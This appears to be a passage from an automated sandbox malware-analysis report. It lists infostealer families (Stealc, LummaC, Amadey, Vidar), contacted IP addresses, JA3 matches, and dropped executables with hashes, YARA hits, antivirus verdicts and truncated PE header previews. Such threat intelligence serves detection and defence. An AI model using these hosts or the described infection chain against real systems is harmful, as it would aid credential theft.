	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6QPF41LR0H1R83WBFIVMMOQHW.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\910S1Q63XQ87I6P4.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3069952
Entropy (8bit):	6.500637723334981
Encrypted:	false
SSDEEP:	49152:qBcZ20lBOOe60k6cT9ZwA23NrbnTZEIsgm2V:qOxBY60k6c7M3/EIsgme
MD5:	E372F8C0AEB01807B45E2D92883011AE
SHA1:	3CF8399A3501D9E94C88360849F61D93CABF114F
SHA-256:	E686F95DB17D736D68C57CA703011EA016B74A29755FD75A54E76047FAF617B0
SHA-512:	BBC4DFADE8B432787A0AB5CB199E43DD6112655C942736CC44976B785230BF9443943F284722F7E857EEF3E6F679F0E7A0B4D3335D68240D7F5DD3411D9E9387
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@...........................2....../...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...dolctmic. ,.......,.................@...nozaowtq......1.....................@....taggant.0....1.."..................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584669136061982
Encrypted:	false
SSDEEP:	12288:FqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TL:FqDEvCTbMWu7rQYlBQcBiT6rprG8abL
MD5:	48E5C172E53EB45E40FE1CEF7643AA58
SHA1:	422B6CACA89F7500CE91992CB5B0254724D19A19
SHA-256:	AC8830011BBE6573DE6AC2E7869991D41D7D9444BAAF88A49C836FD329D5E363
SHA-512:	279139EF6689ACB689358B4404098FA0F6CA6FC05BB6FB2566AE3F9C34B672CF9CD79995AF020247FBF44D7F73D85A31EA9751E9FD35A0902EE07FB9A8590341
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....$g.........."..........X......w.............@..........................`......\|.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2159616
Entropy (8bit):	7.9617836672005975
Encrypted:	false
SSDEEP:	49152:9/gwchnrhvZQiqhLl9yiS8xt+6ijQsAeu00/CQcx1E:6wYnrhhQhhLlPS83fij3AeICQcx
MD5:	CAFF2FE6C91944CCA73634BB9B591335
SHA1:	F449657C2B9733B3CD2B90B7320097902F9A94C9
SHA-256:	68765AA962DDCFFD239F27E69605D71138B54D35ED5FD9F36B7E33B0B672AB34
SHA-512:	6DA311A011BF45DD313DF5B5E8940E970B8FFBAAC001CAC82F116F069E662FCEF03D12D224C275CB5B922DA90F897875327B925D7AD06FE107BEA0814144C6A9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@...........................s.....e.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...rcutauay.P...`Y..D..................@...rnjpicgc......s....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3069952
Entropy (8bit):	6.500637723334981
Encrypted:	false
SSDEEP:	49152:qBcZ20lBOOe60k6cT9ZwA23NrbnTZEIsgm2V:qOxBY60k6c7M3/EIsgme
MD5:	E372F8C0AEB01807B45E2D92883011AE
SHA1:	3CF8399A3501D9E94C88360849F61D93CABF114F
SHA-256:	E686F95DB17D736D68C57CA703011EA016B74A29755FD75A54E76047FAF617B0
SHA-512:	BBC4DFADE8B432787A0AB5CB199E43DD6112655C942736CC44976B785230BF9443943F284722F7E857EEF3E6F679F0E7A0B4D3335D68240D7F5DD3411D9E9387
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@...........................2....../...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...dolctmic. ,.......,.................@...nozaowtq......1.....................@....taggant.0....1.."..................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2159616
Entropy (8bit):	7.9617836672005975
Encrypted:	false
SSDEEP:	49152:9/gwchnrhvZQiqhLl9yiS8xt+6ijQsAeu00/CQcx1E:6wYnrhhQhhLlPS83fij3AeICQcx
MD5:	CAFF2FE6C91944CCA73634BB9B591335
SHA1:	F449657C2B9733B3CD2B90B7320097902F9A94C9
SHA-256:	68765AA962DDCFFD239F27E69605D71138B54D35ED5FD9F36B7E33B0B672AB34
SHA-512:	6DA311A011BF45DD313DF5B5E8940E970B8FFBAAC001CAC82F116F069E662FCEF03D12D224C275CB5B922DA90F897875327B925D7AD06FE107BEA0814144C6A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@...........................s.....e.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...rcutauay.P...`Y..D..................@...rnjpicgc......s....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584669136061982
Encrypted:	false
SSDEEP:	12288:FqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TL:FqDEvCTbMWu7rQYlBQcBiT6rprG8abL
MD5:	48E5C172E53EB45E40FE1CEF7643AA58
SHA1:	422B6CACA89F7500CE91992CB5B0254724D19A19
SHA-256:	AC8830011BBE6573DE6AC2E7869991D41D7D9444BAAF88A49C836FD329D5E363
SHA-512:	279139EF6689ACB689358B4404098FA0F6CA6FC05BB6FB2566AE3F9C34B672CF9CD79995AF020247FBF44D7F73D85A31EA9751E9FD35A0902EE07FB9A8590341
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....$g.........."..........X......w.............@..........................`......\|.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003125001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2799104
Entropy (8bit):	6.482261222885214
Encrypted:	false
SSDEEP:	49152:xOsR9zKUNmq06ihhwu19qUg2mQ9N7pxySxsfuxX7T+T:xR9GUNP06ihhTl+gpxySxs25
MD5:	A94EB41E9E38B75CF809AD0A66787584
SHA1:	304827F6B92AFEBBE416266C52620533315F2970
SHA-256:	FC377FB727EF4B8A20997CF604BFCCEEC94C2E258221B0B384816776E3697FB8
SHA-512:	3149B59C1BBAE3D0CC864C3755D2D34AE8436A778977DAAED87DD33A45357D89894623F5653A51124E4E9A1026D00379CB6148645CE21B2385E3AC9D628A9DFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....6....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...smhgitdo.`......T..:..............@...ntzismqa. ....+....................@....taggant.@... +.."....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2799104
Entropy (8bit):	6.482261222885214
Encrypted:	false
SSDEEP:	49152:xOsR9zKUNmq06ihhwu19qUg2mQ9N7pxySxsfuxX7T+T:xR9GUNP06ihhTl+gpxySxs25
MD5:	A94EB41E9E38B75CF809AD0A66787584
SHA1:	304827F6B92AFEBBE416266C52620533315F2970
SHA-256:	FC377FB727EF4B8A20997CF604BFCCEEC94C2E258221B0B384816776E3697FB8
SHA-512:	3149B59C1BBAE3D0CC864C3755D2D34AE8436A778977DAAED87DD33A45357D89894623F5653A51124E4E9A1026D00379CB6148645CE21B2385E3AC9D628A9DFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....6....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...smhgitdo.`......T..:..............@...ntzismqa. ....+....................@....taggant.@... +.."....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1874432
Entropy (8bit):	7.9487556973302205
Encrypted:	false
SSDEEP:	49152:nVuj0BfzYeAWAUip4qcGlQwXU4NAsgu7irM3VdLw:nVuerpw+/GlnU4aw3Vd
MD5:	73374DDF38989644301CD77DC9A3D1FE
SHA1:	76CA6F849680FE21126FE0AC16B5F9E9AFE4BF5C
SHA-256:	985AD2C0AC9931269DEC1771B27320A5AC5863D9834E6C21BF32205ABF19206A
SHA-512:	FCC5E732281FF7BB921D3ECC476681FE65D56FBDFF7B85E5E114C02CCDC2D736368E32496DEEE6DFB1B051709E8FA40813614748A1F0E7A12A8C23E7EBAFEBB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. J...........@..........................PJ......_....@.................................W...k.......D.....................J.............................T.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...hbhuwskf......0..~..................@...ihphxsar......J......t..............@....taggant.0... J.."...x..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1874432
Entropy (8bit):	7.9487556973302205
Encrypted:	false
SSDEEP:	49152:nVuj0BfzYeAWAUip4qcGlQwXU4NAsgu7irM3VdLw:nVuerpw+/GlnU4aw3Vd
MD5:	73374DDF38989644301CD77DC9A3D1FE
SHA1:	76CA6F849680FE21126FE0AC16B5F9E9AFE4BF5C
SHA-256:	985AD2C0AC9931269DEC1771B27320A5AC5863D9834E6C21BF32205ABF19206A
SHA-512:	FCC5E732281FF7BB921D3ECC476681FE65D56FBDFF7B85E5E114C02CCDC2D736368E32496DEEE6DFB1B051709E8FA40813614748A1F0E7A12A8C23E7EBAFEBB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. J...........@..........................PJ......_....@.................................W...k.......D.....................J.............................T.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...hbhuwskf......0..~..................@...ihphxsar......J......t..............@....taggant.0... J.."...x..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1874432
Entropy (8bit):	7.9487556973302205
Encrypted:	false
SSDEEP:	49152:nVuj0BfzYeAWAUip4qcGlQwXU4NAsgu7irM3VdLw:nVuerpw+/GlnU4aw3Vd
MD5:	73374DDF38989644301CD77DC9A3D1FE
SHA1:	76CA6F849680FE21126FE0AC16B5F9E9AFE4BF5C
SHA-256:	985AD2C0AC9931269DEC1771B27320A5AC5863D9834E6C21BF32205ABF19206A
SHA-512:	FCC5E732281FF7BB921D3ECC476681FE65D56FBDFF7B85E5E114C02CCDC2D736368E32496DEEE6DFB1B051709E8FA40813614748A1F0E7A12A8C23E7EBAFEBB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. J...........@..........................PJ......_....@.................................W...k.......D.....................J.............................T.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...hbhuwskf......0..~..................@...ihphxsar......J......t..............@....taggant.0... J.."...x..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.5323081253820385
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6ihj4qyaaX86KakfGNBw8MJSl:degquOcwV0
MD5:	72E631CDC5B4127D54EAFB484B4E43D3
SHA1:	252C1774D233078675ABAD8F13DF1FC1EE3B7DA4
SHA-256:	58D057DB1A3CFF3E178A0509E956A1CCD2FB5C8115773764686EA6E947D7CFEA
SHA-512:	C421810480C65DB90554E7677601D15979311C6CE2E1BDC026BF2551A581DA6EC9A61090C075CE6E2B13B412D22468089A59799A9FC87DE357870C194A4068F8
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.5323081253820385
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6ihj4qyaaX86KakfGNBw8MJSl:degquOcwV0
MD5:	72E631CDC5B4127D54EAFB484B4E43D3
SHA1:	252C1774D233078675ABAD8F13DF1FC1EE3B7DA4
SHA-256:	58D057DB1A3CFF3E178A0509E956A1CCD2FB5C8115773764686EA6E947D7CFEA
